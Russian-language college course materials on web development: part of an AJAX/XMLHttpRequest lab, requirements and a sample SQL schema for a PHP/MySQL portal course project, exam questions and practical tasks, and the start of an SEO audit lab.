3) После определения всех параметров запроса его остается только отправить. 

Делается это функцией send() (для версии без ActiveX нужно указывать параметром 

null): 

// для IE 

req.send(); 

// для остальных 

req.send(null); 

После этого начинает работать вышеуказанный обработчик событий. Он — 

фактически основная часть программы. В обработчике обычно происходит перехват 

всех возможных кодов состояния запроса и вызов соответствующих действий, а также 

перехват возможных ошибок. 

Собственно, вот пример куска кода с двумя этими функциями: 

var req; 

function loadXMLDoc(url) { 

// для "родного" XMLHttpRequest 

if (window.XMLHttpRequest) { 

req = new XMLHttpRequest(); 

req.onreadystatechange = processReqChange; 

req.open("GET", url, true); 

req.send(null); 

// для версии с ActiveX 

} else if (window.ActiveXObject) { 

req = new ActiveXObject("Microsoft.XMLHTTP"); 

if (req) { 

req.onreadystatechange = processReqChange; 

req.open("GET", url, true); 

req.send(); 

} 

} 

} 

function processReqChange() { 

// только при состоянии "complete" 

if (req.readyState == 4) { 

// для статуса "OK" 

if (req.status == 200) { 

// здесь идут всякие штуки с полученным ответом 

} else { 

alert("Не удалось получить данные:\n" + 

req.statusText); 

} 

} 

} 

Итак, более подробный исходный код JavaScript'овой части: 

var req; 

function loadXMLDoc(url) { 

if (window.XMLHttpRequest) { 

req = new XMLHttpRequest(); 

req.onreadystatechange = processReqChange; 

req.open("GET", url, true); 

req.send(null); 

} else if (window.ActiveXObject) { 



 

req = new ActiveXObject("Microsoft.XMLHTTP"); 

if (req) { 

req.onreadystatechange = processReqChange; 

req.open("GET", url, true); 

req.send(); 

} 

} 

} 

function processReqChange() { 

document.form1.state.value = stat(req.readyState); 

ab = window.setTimeout("req.abort();", 5000); 

if (req.readyState == 4) { 

clearTimeout(ab); 

document.form1.statusnum.value = req.status; 

document.form1.status.value = req.statusText; 

// only if "OK" 

if (req.status == 200) { 

document.form1.response.value=req.responseText; 

} else { 

alert("Не удалось получить данные:\n" + req.statusText); 

} 

} 

} 

function stat(n) 

{ 

switch (n) { 

case 0: 

return "не инициализирован"; 

break; 

case 1: 

return "загрузка..."; 

break; 

case 2: 

return "загружено"; 

break; 

case 3: 

return "в процессе..."; 

break; 

case 4: 

return "готово"; 

break; 

default: 

return "неизвестное состояние"; 

} 

} 

function requestdata(params) 

{ 

loadXMLDoc('examples/httpreq.php'+params); 

} 

Некоторые особенности PHP-скриптов работающих с XMLHttpRequest 



 

Для корректной работы с XMLHttpRequest, ваш PHP скрипт должен посылать ряд 

заголовков, а именно: тип содержимого и его кодировку (важно, если необходимо 

работать с кириллическим выводом), а также параметры кэширования содержимого — 

нужно устранить любое. 

Посыл этого набора заголовков на PHP выглядит примерно так: 

header("Content-type: text/plain; charset=windows-1251"); 

header("Cache-Control: no-store, no-cache, must-revalidate"); 

header("Cache-Control: post-check=0, pre-check=0", false); 

Если планируется вывод в формате text/plain (как у меня), необходимо учесть, что 

специальные символы (типа /n,/r,/t..) обрабатываются по умолчанию только в строках с 

двойными кавычками (""). 

Пример: 

<? 

header("Content-type: text/plain; charset=windows-1251"); 

header("Cache-Control: no-store, no-cache, must-revalidate"); 

header("Cache-Control: post-check=0, pre-check=0", false); 

echo "Хелло ворлд!\n\n"; 

if (isset($a)) 

{ 

for ($i=1; $i < 10000; $i++) 

{ 

echo 'Это тестовая строка. '; 

if (($i % 1000) == 0) flush(); 

} 

} 

if (count($_GET) > 0) 

{ 

echo "\n\nПередано GET'ом\n"; print_r($_GET); 

?> 

Задание: 

Модифицировать результаты выполнения 5-ой лабораторной работы, путем 

использования технологии AJAX (документ оформить таким образом, чтобы при 

переходе по ссылкам страница не перегружалась). 

Контрольные вопросы 

1. Какой JavaScript объект обеспечивает работу через HTTP-протокол? 

2. В каком формате обычно возвращаются данные? 

3. Какие заголовки необходимо посылать для корректной работы? 
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ОСНОВНЫЕ ТРЕБОВАНИЯ К ЗАЩИТЕ КУРСОВОГО ПРОЕКТА 

 

Общая тема курсовой работы: Разработка модуля электронного портала 

средствами PHP и MySql. 

Индивидуальная тема курсовой работы должна быть связана с конкретной 

предметной областью. Предметная область выбирается студентом из 

предлагаемого списка или самостоятельно и утверждается преподавателем. 

Исходные данные для работы каждого студента назначаются индивидуальными и 

оформляются в задании на курсовую работу.  

Цель курсовой работы: получить практические навыки разработки 

электронного портала фирмы (организации) без использования конструктора 

CMS. 

Курсовая работа выполняется средствами языка программирования PHP и 

СУБД MySQL на платформе Web-сервера Apache. При разработке 

концептуальной модели базы данных рекомендуется использовать Power 

Designer. Для локальной проверки работы электронного портала рекомендуется 

использовать пакет Denwer.  

Технологические требования к выполнению курсовой работы 

1. Курсовая работа выполняется на основе изданного ранее печатного 

издания объемом не менее 40 страниц, имеющего не менее 5 разделов с 

заголовками и не менее 10 иллюстраций по тексту (исходное печатное издание 

может быть выбрано студентом самостоятельно, но должно быть согласовано с 

преподавателем). 

2. Требования к структуре курсовой работы (проекта) Пояснительная 

записка курсовой работы должна содержать следующие элементы:  

1. Титульный лист  

2. Введение. Введение является важной составной частью работы. Во 

вступлении в сжатом виде отображаются следующие основные вопросы: 

 обоснование актуальности темы данной курсовой работы (проекта);  

краткая характеристика ее сущности;  цель и задачи работы;  

предполагаемые методы и способы решения поставленных задач; 

Основная часть состоит из теоретического и практического разделов.  

3. Теоретическая часть. Теоретическая часть должна содержать анализ 

разрабатываемой информационной системы, входные и выходные 

данные, функционал информационной системы, анализ возможностей 

средств, с помощью которых планируется выполнить курсовую работу 

(проект), выбор метода решения, средств разработки и обоснование этого 

выбора. Рекомендуемый объем теоретической части 3 – 7 страниц.  

4. Практическая часть. Практическая часть должна содержать описание 

выполнения всех этапов курсовой работы (проекта). Для каждого этапа 

следует указать назначение, избранные методы решения, код программы 

(html, css, код счетчика и др.) и предоставить результаты выполнения 

этапа.  



 

5. Заключение. Заключение содержит основные выводы по разработанной 

программе, оценку полученных результатов и перспективу дальнейшего 

совершенствования и развития информационной системы.  

6. Список литературы. Содержит список литературы, использованной при 

выполнении курсовой работы (проекта) 

7. Приложения. В приложении располагаются дополнительные материалы, 

относящиеся к курсовой работе (проекту). В приложение выносится 

программный код законченного программного продукта, пригодный для 

опытной эксплуатации пользователем без участия разработчика.  

3. ОФОРМЛЕНИЕ РАБОТЫ 

Текст курсового проекта (работы) должен соответствовать стандартным 

требованиям. Текст работы должен быть выполнен на одной стороне листа белой 

бумаги (формата А4) в текстовой редакторе Word шрифт «14 Times New Roman» с 

полями: левое - 20 мм, правое – 10 мм, верхнее - 20 мм, нижнее - 20 мм. 

Межстрочный интервал - 1,5. Выравнивание текста - по ширине страницы с 

включенным режимом переноса.  

Страницы текста нумеруются арабскими цифрами посредине нижней части 

листа, начиная со второй страницы, где дается содержание. Титульный лист не 

нумеруется, но принимается за первую страницу. Оглавление и заголовки 1-го 

уровня пишутся прописными буквами.  

Фразы, начинающиеся с новой «красной» строки, печатаются с абзацным 

отступом от начала строки, равным 12,5 мм (первая стандартная позиция 

табулятора). Каждый раздел, заключение, список литературы и приложения 

начинаются с новой страницы. Это требование не касается подразделов. Названия 

разделов и подразделов отделяются от основного текста работы двойным 

интервалом. Такое же расстояние выдерживается между заголовками разделов и 

подразделов (двойной интервал). Заголовки разделов и подразделов, состоящие из 

нескольких строк, печатаются через полуторный интервал без использования 

режима переносов. Если заголовки состоят из нескольких предложений, то они 

отделяются точкой. Точка в конце заголовка разделов и подразделов не ставится.  

Не допускаются также подчеркивание, курсив и переносы в содержании, 

введении, заключении и списке литературы, заголовках. Содержащиеся в тексте 

перечисления требований, указаний, положений, оформляются в виде 

ненумерованных (маркированных) или нумерованных списков. Отдельные 

позиции в ненумерованных списках помечаются знаком короткого тире «–». 

После номера позиции в нумерованных списках ставится скобка. Каждая позиция 

списка записывается с абзацного отступа (отступ маркера – 1,25 см, табуляция и 

отступ текста – 1,6 см). Иллюстрации, при необходимости, могут иметь 

наименование и пояснительные данные (подрисуночный текст).  

Слово "Рисунок" и наименование помещают после пояснительных данных и 

располагают следующим образом:  

Рисунок 1 – Внешний вид главной страницы 

Приложение размещается после списка литературы и имеет сквозную 

нумерацию страниц. Порядковый номер приложения ставится в правом верхнем 

углу листа. Готовая работа должна быть сброшюрована в папку. 

Курсовая работа должна быть защищена студентом путем собеседования с 

преподавателем для выставления оценки за работу, при этом учитывается 

содержание и качество оформления пояснительной записки. 



 

 

Варианты заданий на курсовой проект: 

1. Разработка интернет магазина продажи комплектующих товаров на 

PHP 

2. Разработка интернет магазина продажи компьютеров. 

3. Разработка образовательного портала по технологии ASP.Net. 

4. Разработка информационного сайта туристического агентства. 

5. Разработка сайта со встроенной автоматизированной системой 

создания расписания 

6. Разработка и внедрение автоматизированного рабочего места для 

специализированного документооборота персональных данных 

7. Разработка информационного сайта фирмы по продаже строительных 

материалов. 

8. Разработка информационного сайта отделения колледжа. 

9. Разработка Web – интерфейса для системы компьютерной верстки. 

10. Разработка тестовой программы для сайта. 

11. Разработка web- интерфейса анализа отказов компьютерной 

локальной сети. 

12. Разработка информационного сайта. 

13. Разработка информационного сайта обзор премьер в городских 

кинотеатрах. 

  

Технология выполнения курсовой работы 

Анализ предметной области и разработка концептуальной модели базы 

данных 

На основании исходных данных задания должны быть описаны 

технологические процессы предметной области, которые реализуются в 

разрабатываемом модуле, из которых разрабатывается концептуальная модель 

базы данных. 

В ходе разработки концептуальной модели базы данных рекомендуется 

использовать Power Designer, определить все сущности, связи между ними, 

атрибуты, в том числе ключевые, и типы данных 

Результат разработки концептульной модели представить в виде копии 

экрана модели (Рисунок  1). 

 
Рисунок  1. Пример концептуальной модели в Power Designer 



 

Выполнить генерацию физической модели применительно для СУБД 

MySQL и представить копию экрана этой модели (Рисунок  2), список атрибутов 

каждой таблицы, определенных применительно к СУБД MySQL (Рисунок  3) и 

текст SQL -скрипта. 

 
Рисунок  2. Пример физической модели в Power Designer 

 
Рисунок  3. Пример списка атрибутов таблицы в Power Designer 

При генерации SQL - скрипта рекомендуется убрать все опции по удалению 

предыдущих версий таблиц базы данных и самой базы данных – операции Drop ( 

database, table и т.п.) (Рисунок  4). 

 
Рисунок  4. Пример опций для генерировании SQL скрипта базы данных в 

Power Designer 

Пример текста SQL-скрипта: 



 

/*=======================================================

====*/ 

/* DBMS name: MySQL 4.0 */ 

/* Created on: 30.10.2006 14:10:58 */ 

/*=======================================================

====*/ 

/*=======================================================

====*/ 

/* Table: Entity_1 */ 

/*=======================================================

==*/ 

create table Entity_1 

( 

ID int not null, 

Attribute_2 smallint(10), 

Attribute_3 date, 

Column_4 int(16), 

Column_5 varchar(200), 

primary key (ID) 

); 

/*=======================================================

====*/ 

/* Table: Entity_2 */ 

/*=======================================================

====*/ 

create table Entity_2 

( 

numer int(14) not null, 

Attribute_5 text, 

Attribute_6 varchar(10), 

primary key (numer) 

); 

/*=======================================================

====*/ 

/* Table: Entity_3 */ 

/*=======================================================

====*/ 

create table Entity_3 

( 

numer int(14), 

ID int, 

ID_klass_9 integer, 

Attribute_10 char(10) 

); 

alter table Entity_3 add constraint FK_Relationship_1 foreign key (ID) 

references Entity_1 (ID) on delete restrict on update restrict; 

alter table Entity_3 add constraint FK_Relationship_2 foreign key (numer) 



 

references Entity_2 (numer) on delete restrict on update restrict; 

7.2. Создание базы данных в СУБД MySQL 

Создание базы данных в СУБД MySQL рекомендуется выполнять с 

использованием графического интерфейса phpMyAdmin (Рисунок  5) 

 
Рисунок  5. Основной интерфейс phpMyAdmin 

Хотя phpMyAdmin позволяет импортировать целиком готовую базу данных, 

в курсовой работе рекомендуется создать пустую базу данных, а уже в нее 

импортировать структуру таблиц из физической модели, сгенерированной в 

Power Designer. 

На Рисунок  6 и Рисунок  7 представлены примеры состава таблиц базы 

данных и структуры таблицы. 

 
Рисунок  6. Пример структуры базы данных db 



 

 
Рисунок  7. Пример структуры таблицы content 

Если по заданию требуется иметь пользователей, имеющих различные 

привилегии доступа к базе данных (как минимум двух – администратор и 

посетитель), то их следует создать, назначив имя, пароль и требуемые привилегии 

на конкретную базу данных (Рисунок  8 и Рисунок  9). 

 
Рисунок  8. Интерфейс Привилегии phpMyAdmin 



 

 
Рисунок  9. Пример специфичных привилегий пользователя nirsspb _ vus 

для базы данных nirsspb _ 

В результате список пользователей MySql, имеющих специфичные 

привилегии на базу данных разрабатываемого модуля, должен состоять, как 

минимум из двух пользователей – один с полными правами доступа к базе данных 

из административного интерфейса (пользователя root использовать в этих целях 

не рекомендуется), другой – с ограниченными правами (только на выборку 

данных или на выборку и вставку) для доступа к базе из гостевого интерфейса 

(Рисунок  10). При необходимости могут быть созданы и другие пользователи 

MySql. 

 
Рисунок  10. Пример списка пользователей MySql 

В приведенном примере два последних пользователя имеют привилегии 

USAGE (специфичные для конкретной базы данных, в примере – для базы nirsspb 

_). 

7.3. Разработка системы управлением контентом 

Опираясь на исходные данные задания определить: 

Какие варианты интерфейсов необходимо разработать (административный, 

гостевой, зарегистрированных пользователей, авторов статей, и т.п.) и какие 

возможности они должны предоставлять соответствующим группам 

пользователей. 



 

Определить состав функциональных элементов каждого интерфейса, их 

взаимосвязи и связи с базы данных, на основе которых составить в графическом 

виде структуру системы управления контентом . На Рисунок  11 приведен 

пример обобщенной структуры системы управления контентом. 

 
Рисунок  11. Пример структуры CMS 

Рекомендуется использовать табличную структуру страницы (при помощи 

html тегов < table > < tr > и < td >), которую следует формировать в файлах index. 

php. Верх, низ страницы и систему навигации рекомендуется создавать в 

отдельных файлах и подключать при помощи функций include (). 

Все параметры хостинга (имена базы данных, пользователей MySql ) и 

файловой системы (путь от корня Web -сервера и пути к каталогам сайта) 

рекомендуется задавать через переменные в конфигурационном файле, который 

также следует подключать ко всем скриптам. 

Затем в отдельных параграфах пояснительной записки следует описать 

разработку модуля каждого интерфейса. При этом следует уделить особое 

внимание их структуризации – выделению в отдельные логические функции 

автономных фрагментов программы. При этом возможно использование CASE 

средств типа BPWin. 

На Рисунок 12 и Рисунок 13 приведены примеры логической структуры 

модулей отдельных интерфейсов. 



 

 
Рисунок  11. Пример структуризации модуля, формирующего интерфейс 

игрока в игровом портале 

 
Рисунок  12. Пример структуризации модуля врача портала поликлиники 

  

В дополнение к приведенным рисункам рекомендуется описать каждый 

функциональный элемент с указанием его связи с конкретными полями таблиц 

базы данных. 

Пример описания одного функционального элемента – «Добавление 

вопросов» в модуле игрока на Рисунок  11: 

Пользователь может добавить вопрос и правильный ответ в БД. К 

вопросу может прилагаться изображение в формате jpeg. Вопрос записывается 

в таблицу Quest. В поле Text_quest записывается формулировка вопроса, в поле 

Right_answer – правильный ответ, в поле img_q – имя файла с изображением. 

Поля ID_topic, ID_user и Time_quest заполняются автоматически средствами 

PHP. Максимальное число вопросов, которое может создать пользователь, 

определяется создателем игры и отслеживается при помощи механизма ведения 

статистики. Механизм реализован при помощи функций enter_question_form() и 

enter_question() в файле index.php (см. Приложение 1). 



 

Если некоторые логические функции используется для нескольких модулей, 

то следует определить, какие параметры им требуется передавать, чтобы добиться 

универсальности использования этих функций. 

После описания каждого элемента рекомендуется указать имена php -

функций, которые программно реализовали данный элемент и имена файлов, в 

которых размещены эти php -функции. 

Если некоторые php -функции используется в различных интерфейсах, то их 

следует вынести их в отдельный файл и подключать ко всем скриптам, 

использующим эти функции. 

Файловую структуру и листинги всех php -скриптов следует разместить в 

приложениях к пояснительной записке. Все php -функции в коде скриптов 

должны иметь комментарии с пояснениями их назначения. 

Для хранения параметров пользователя во время сеанса его работы 

обязательно использовать механизм сессий . 

Для создания системы управления контентом разрабатываемого модуля 

необходимо сформировать соответствующую файловую систему для размещения 

файлов php -скриптов и графических файлов. С этой целью в каталоге home 

установленного пакета Denver (каталог WebServers ) следует создать новую папку 

с именем разрабатываемого портала, например по фамилии студента, а в ней – 

необходимые каталоги. В пояснительной записке привести файловую структуру 

разрабатываемого модуля (Рисунок  1 3 ). 

 
Рисунок  1 3. Пример файловой структуры портала site 

Анализ функционирования разработанного модуля электронного портала 

После осуществления программной реализации разрабатываемого модуля 

должно быть проведено исследование его работы во всех режимах с целью 

выявления ошибок и наполнения базы данных демонстрационным контентом. 

Демонстрационный контент информативно должен соответствовать теме 

разработки. 

После отладки скриптов и наполнения базы данных демонстрационным 

контентом следует снять копии экранов, отражающих логику работы 

пользователей в своих интерфейсах. 

Поскольку дизайнерское оформление модуля в рамках данной курсовой 

работы не обязательно, то из приведенных копий экранов должна быть видна 

требуемая функциональность разработанного модуля согласно заданию, в виде 

некоторой инструкции пользователям. Например, в административном 



 

интерфейсе представлена пошаговая процедура создания раздела в каталоге 

товаров, наполнения товарами прайс-листа и т.п. 
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Паспорт контрольно-измерительных материалов для проведения 

промежуточной аттестации по курсу МДК. 09.01 Проектирование и разработка 

веб-приложений  

Область применения  

Контрольно-измерительные материалы для проведения промежуточной 

аттестации по курсу МДК. 09.01 Проектирование и разработка веб-приложений 

предназначены для проверки результатов освоения умений и усвоения знаний в 

соответствии с программой профессионального модуля ПМ.09. Проектирование, 

разработка и оптимизация веб-приложений. 

Условия выполнения задания 

Экзамен проводится в форме ответа на теоретический вопрос и   

выполнения практического задания. В билете содержится один теоретический 

вопрос и одно практическое задание, выполнение которых требует наличия 

практического опыта работы с инструментальным и прикладным программным 

обеспечением, а также соответствующих знаний. Каждому студенту выдается 

свой вариант.  

Место проведения промежуточной аттестации – компьютерный класс. 

Используемое оборудование – персональный компьютер с установленным 

прикладным программным обеспечением и набором специализированных 

программ. 

Максимальное время выполнения заданий билета – 120 мин.  

Образец экзаменационного билета 

1. Теоретический вопрос:  

2. Практическое задание. 

 

Теоретические вопросы к экзамену 

1. Основы PHP  

2. Основы синтаксиса PHP 

3. Управляющие конструкции  

4. Обработка запросов с помощью PHP 

5. Формы 

6. Переменные. Константы. Операторы в PHP. Циклы. Массивы. Работа со 

строками. 

7. Функции в PHP. Встроенные функции. 

8. Работа с датой и временем в PHP. 

9. Методы передачи параметров между страницами (GET, POST). Обработка 

действий пользователя при помощи форм. 

10. Принципы хранения информации в базах данных MySQL. Архитектура базы 

данных MySQL (таблицы, связи, триггеры). 

11. Механизм работы с базами данных — PhpMyAdmin. 

12. Подключение к базе данных из PHP файла. Вывод данных на PHP-страницу, 

попавших в выборку по SQL запросу. Передача параметров в запрос. 

13. Принципы проектирования страниц. Разделение информации по таблицам в 

базе данных. Вывод группы данных, сортировка данных. 

14. Создание HTML-страниц средствами PHP. 

15. Cookie. HTTP-заголовки ответа сервера. Сессии 

https://www.intuit.ru/studies/courses/42/42/lecture/27177
https://www.intuit.ru/studies/courses/42/42/lecture/27179
https://www.intuit.ru/studies/courses/42/42/lecture/27181


 

16. Работа с файловой системой 

17. Базы данных и СУБД. Основы работы с базами данных 

18. Связь с базами данных MySQL 

19. Объектно-ориентированное программирование на PHP 

20. Взаимодействие PHP и MySQL  

21. Взаимодействие PHP и XML 

22. PHP и XML Web-services 

23. Сокеты и сетевые функции 

24. Работа с графикой 

25. Язык сценариев JavaScript. Объектно-ориентированное программирование 

26. jQuery 

27. AJAX 

28. PHP фреймворки 

29. CMS 

30. Размещение Web-сайта на сервере 

 

 

Примеры практических задач 

 

1. Выберите какой-нибудь форум. Выведите список всех пользователей, которые 

участвовали в последней теме какого-нибудь раздела. Список должен быть в 

алфавитном порядке и состоящим из ссылок на профили пользователей. 

2. Выведите список тем форума cyberforum.ru за последний месяц, которые в 

названии содержат слово 'алгоритм'. 

3. Пользователь загружает картинку на сервер. Обработать картинку следующим 

образом: обрезать до размеров 100px х 100px, при этом пустые области 

должны быть обрезаны максимально, чтобы сохранить область собственно 

рисунка. Далее добавить зеркальное отображение по горизонтали нижней 

полосы картинки 100px x 25 px. Добавить проверку, является ли загруженный 

файл изображением. 

4. Удалить в заданной директории все пустые папки (в том числе и вложенные). 

5. Написать скрипт загрузки изображения пользователя с заданным именем 

изображения. Изображение сохраняется в каталог, структура которого 

динамически формируется следующим образом: изображения распределяются 

по папкам по алфавиту, причем в одной папке не может быть более 20 

изображений. Если папка заполнена и появляется новое изображение для этой 

папки, то папки пересоздаются с более узким диапазон названий. Например, 

есть две папки A-M и M-Z. Если в первой папке уже 20 изображений, то при 

появлении изображения с именем aaa.png, то должны появится три папки A-H, 

I-P,  Q-Z, в которые должны перераспределится все изображения (если в папке 

получится при этом меньше 20 изображений, иначе диапазон следует 

уменьшить). При загрузке одинаковых изображений копии не сохранять. 

6. Определить, содержит ли загружаемое пользователем изображение лицо. Если 

содержит, то выделить его прямоугольной рамкой заметного цвета. 

7. Дана база покупок пользователей (id пользователя, id покупки, дата покупки, 

стоимость). Необходимо сформировать отчет по этим данным. А именно: а) 

выделить группы пользователей, которые покупают постоянно, сезонно, 

редко; б) группы пользователей по стоимости покупок (3 группы); в) группы 

https://www.intuit.ru/studies/courses/42/42/lecture/27195
https://www.intuit.ru/studies/courses/42/42/lecture/27201


 

товаров по периоду покупок (сезонные, постоянные, редкие). В ответе должен 

быть раздел с рекомендациями как улучшить продажи и прогноз на 

ближайший месяц/год по объемам продаж и прибыли. Можно дополнить 

известные данные для более точного прогноза. 

8. Поиск в каталоге звуковых (mp3 и не только) файлов по метаданным (тегам): 

названию, исполнителю, альбому, году, комментарию, жанру и так далее. 

9. Разработка SAX-парсера XML-файлов 

10. Разработка генератора XML-файлов валидатора XML-файлов. 

11. Разработка API-клиента Twitter. Получение информации о пользователе, 

получение списка твитов, получение списка подписчиков, поиск по твитам, 

добавление нового твита. 

12. Разработка API-клиента VK. Получение информации о пользователе, группах, 

друзьях, статусе, изменение статуса, отправка сообщения на стену. 

13. Разработка API-клиента Facebook. Получение информации о пользователе, 

статусе, загрузка личных сообщений, сообщений со стены, изменение статуса, 

добавление сообщения на стену. 

14. Укажите варианты, в результате выполнения которых будут перегружены 

таблицы разрешений? 

15. Какой из перечисленных типов столбцов занимает меньшее количество 

памяти 

16. Какую размерность имеет тип YEAR 

17. Какая опция позволяет переопределить тип таблиц по умолчанию 

18. Какой из перечисленных типов столбцов занимает большее количество памяти 

19. Укажите верное утверждение 

20. Как MySql хранит таблицы типа Heap 

21. Какую размерность имеет тип TIME 

22. Какую информацию хранит файл, имеющий расширение .frm 

23. Какая опция укажет серверу mysql исполнить запросы только к определённой 

базе данных 

24. Какая опция заставляет команду mysqldump записывать в файл архива 

операторы INSERT DELAYED вместо операторов INSERT 

25. Какой метод быстрее позволяет резервировать данные 

26. Определите назначение опции opt утилиты mysqldump 

27. Какая опция утилиты mysqldump определяет построчное считывание и запись 

информации 

28. Укажите верное утверждение 

29. Какая утилита позволяет извлекать многострочные запросы из журнала 

обновлений 

30. Какая опция позволяет копировать базы данных с удалённого компьютера 

31. Какая инструкция позволяет узнать, сколько записей будет прочитано при 

выполнении заданной инструкции SELECT 

32. Какой сценарий позволяет упорядочить записи журнала медленных запросов 

33. Какая опция позволяет хранить изменения табличных индексов в памяти, пока 

таблица не будет закрыта 

34. Определите назначение флага DELAYED инструкции INSERT 

35. Какая информация хранится в стандартной базе данных test 

36. Для чего предназначен сценарий compare results 

37. Какая инструкция предназначена для оценки производительности запросов 



 

38. Какой журнал позволяет выявить наименее эффективные запросы 

39. Какая процедура поможет определить оптимальный тип данных для каждого 

столбца 

40. Как называется демонстрационная база данных, которая инсталлируется 

вместе с MySQL 

41. При наличии какого флага инструкция INSERT помещается в очередь без 

блокирования клиентского приложения, что повышает его оперативность 

42. Определите назначение опции add-drop-table утилиты mysqldump 

43. Для чего предназначен сценарий run-all-tests 

44. Какая информация хранится в таблице tables_priv 

45. Какой макрос задает новые параметры для текущего сеанса отладки, и 

помещает их в стек 

46. Определите назначение флага N 

47. Какая инструкция позволяет загрузить компилированный библиотечный 

модуль с пользовательской функцией 

48. Какой флаг позволяет выдерживать паузу при выводе каждой строки 

 

Таблица 1- Типовые практические  задания для проведения промежуточной 

аттестации  

Типовое задание 

Коды проверяемых 

результатов 

У Зн 

Практическое задание № 1 – Решение задачи с 

использованием PHP и MySql 

У1 З1  

 

1. Критерии оценки 

Количественная оценка 

Таблица 2- Критерии количественной оценки 

Действия 
Выполнил (максимально 

50 баллов) 

Ответ на теоретический вопрос 

В зависимости от владения темой, терминологией 

0-25 баллов 

Выполнение практического задания № 1  25 баллов 

Итоговое количество баллов: 50 

5 «отлично» 41-50 баллов 

4 «хорошо» 31-40 балла 

3 «удовлетворительно» 21-30 баллов 



 

2 «неудовлетворительно» 0-20 баллов 

Качественная оценка 

 

Оценка «5» выставляется в том случае, если студент продемонстрировал 

высокий уровень знании и умений по заданиям билета, обосновал выбор 

используемого программного обеспечения для решения практических задач. 

Студентом могут быть допущены недочеты при выполнении практических 

заданий, исправленные студентом самостоятельно в процессе обоснования. 

Оценка «4» выставляется в том случае, если студент продемонстрировал 

понимание основного содержания заданий билета. Студентом могут быть 

допущены 1 ошибка и недочеты при выполнении заданий, исправленные 

студентом с помощью преподавателя. 

Оценка «3» выставляется в том случае, если студент продемонстрировал 

понимание основного содержания билета, но допустил 2-3 ошибки при  

выполнении практических заданий. Могут быть допущены 2-3 неточности или 

незначительные ошибки, исправленные студентом с помощью преподавателя. 

Оценка «2» выставляется в том случае, если студент не продемонстрировал  

понимание основного содержания билета. Практическое задание не выполнены. 
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1. Лабораторная работа «Проведение общего аудита сайта: SEO, юзабилити, 

тексты» 

 

Цель работы: Приобрести навыки поисковой оптимизации Web-ресурсов, 

провести внутреннюю SEO-оптимизацию страницы Web-ресурса. 
Теоретические сведения. 

Разработка красивого и функционального сайта зачастую не гарантирует его 

успех у потенциальных посетителей. Для их привлечения необходимо проделать 

объемную работу по продвижению Web-ресурса. На сегодня существует 

несколько методик продвижения сайта: 

1)  Контекстная реклама - размещение информации о ресурсе на 

специализированных рекламных площадках или в сервисах, демонстрирующих ее 

целевой аудитории. Популярными площадками здесь являются Яндекс. Директ, 

Google Adwords, Бегун. 

2)  Баннерная реклама - размещение мультимедийного рекламного блока 

(баннера), содержащего гиперссылку на продвигаемый ресурс, на сторонних 

тематически близких целевой аудитории продвигаемого ресурса сайтах. 

3)  Вирусный маркетинг - распространение информации о ресурсе са-

мими пользователями (посетителями) сайта. Основой продвижения здесь ста-

новится информационный «вирус» - яркая, броская, необычная подача инфор-

мации о продвигаемом ресурсе в виде необычного видеоролика или оригинально 

поданной новости, которыми пользователи начинают делиться друг с другом, тем 

самым быстро и бесплатно распространяя ссылки на ресурс в режиме 

«сарафанного радио» 

4)  Использование социальных сетей позволяет быстро и бесплатно 

заявить о ресурсе на большую аудиторию, объединенную дружественными от-

ношениями в популярных социальных сетях. Помимо непосредственного эффекта 

волнового распространения информации о ресурсе в виде всевозможных 

«лайков», данный метод продвижения обладает потенциалом обратной связи, 

позволяющим узнать мнение пользователей относительно качества про-

двигаемого ресурса. 

5)  Публикация в популярных блогах и на форумах также позволяет 

быстро заявить о продукте максимально широкой аудитории с учетом ее тема-

тических предпочтений. Блоггер может посвятить ресурсу отдельную статью, 

оставить ссылку на ресурс в посте. Обсуждения в форуме позволяют оставлять 

скрытую рекламу в обсуждениях. Наличие собственного блога позволяет более 

целенаправленно вести рекламную кампанию ресурса, а также получать от 

читателей (посетителей) обратную связь. 

6)  Публикация новостей или пресс-релизов о продвигаемом ресурсе в 

электронных средствах массовой информации или на тематических порталах 

позволяют создать дополнительный информационный повод, адресованный 

заинтересованной (или интересующей владельцев ресурса) аудитории. 

7)  Регистрация ресурса в электронных каталогах позволяет увеличить 



 

количество точек потенциального соприкосновения заинтересованных в 

конкретном типе услуг или товаров пользователей и продвигаемого ресурса. 

8)  SEO-продвижение ресурса позволяет заявить о ресурсе через ме-

ханизм поиска популярных поисковых сервисов. Получение информации с ис-

пользованием поисковых движков стал привычным и рутинным действием для 

подавляющего большинства пользователей сети Интернет, в связи с чем высокие 

позиции в выдаче по ключевым тематическим запросам в Google или Я^ЄХ стало 

приоритетом для владельцев Web-ресурсов. Правильно выбранная стратегия SEO-

продвижения и умелое использование его инструментарием и методиками 

позволяет быстро, дешево и эффективно донести информацию о продвигаемом 

ресурсе желаемой аудитории, при этом эта информация зачастую выглядит для 

нее как наиболее авторитетная и непредвзятая. Это делает SEO одним из самых 

часто используемых инструментов раскрутки Web-ресурса, а услуги SEO-

оптимизаторов весьма востребованными на рынке, в связи с чем в данной 

лабораторной работе основное внимание будет уделено именно этому средству 

продвижения сайтов в сети Интернет. 

SEO (Search Engine Optimization) - процесс оптимизации Web- ресурса под 

поисковые системы для увеличения количества трафика пользователей на web-

ресурс путем увеличения его ранга в результатах поиска в поисковых системах. 

Эмпирически понятно и статистически доказано, что высокие позиции сайта в 

результатах выдачи поисковой системы повышают вероятность того, что 

пользователь посетит данный сайт. Поисковая оптимизация предполагает 

изменение его внутренних факторов, влияющими на ранжирование в поисковых 

системах (структуры ресурса, качество контента, код HTML), а также его 

внешних факторов ранжирования (наличие внешних ссылок на сайт, качество 

этих ссылок, наличие сайта в тематических каталогах). Цель оптимизации - 

увеличение релевантности ресурса целевым ключевым словам, отражающим 

содержимое ресурса, повышение ранга сайта по алгоритмам ранжирования 

поисковых машин, увеличение позиций в результатах поисковой выдачи 

поисковых машин для привлечения большего количества посетителей на сайт. 

SEO-оптимизация популярна и эффективна благодаря: 

-  высокому доверию к выдаче популярных поисковых машин со 

стороны посетителей; 

-  оптимальному отношению «цена/качество» для процесса продвиже-

ния; 

-  долговременному эффекту от процесса продвижения; 

-  универсальности процесса продвижения для различных поисковых 

движков - несмотря на уникальные алгоритмы индексирования и ранжирования у 

разных поисковых машин, мероприятия по повышения позиции сайта в одной из 

них приводят к росту рейтинга и в других. 

Есть у SEO-продвижения и проблемные места: 

-  Процесс продвижения носит вероятностный характер, нельзя га-

рантировать 100%-й результат, например, попадания на первое место в выдаче по 

определенным запросам; 

-  Высокая инерционность работы поисковых систем приводит к 

временным задержкам при ожидании итогов работы. 



 

Прежде чем проводить непосредственно SEO-оптимизацию необходимо 

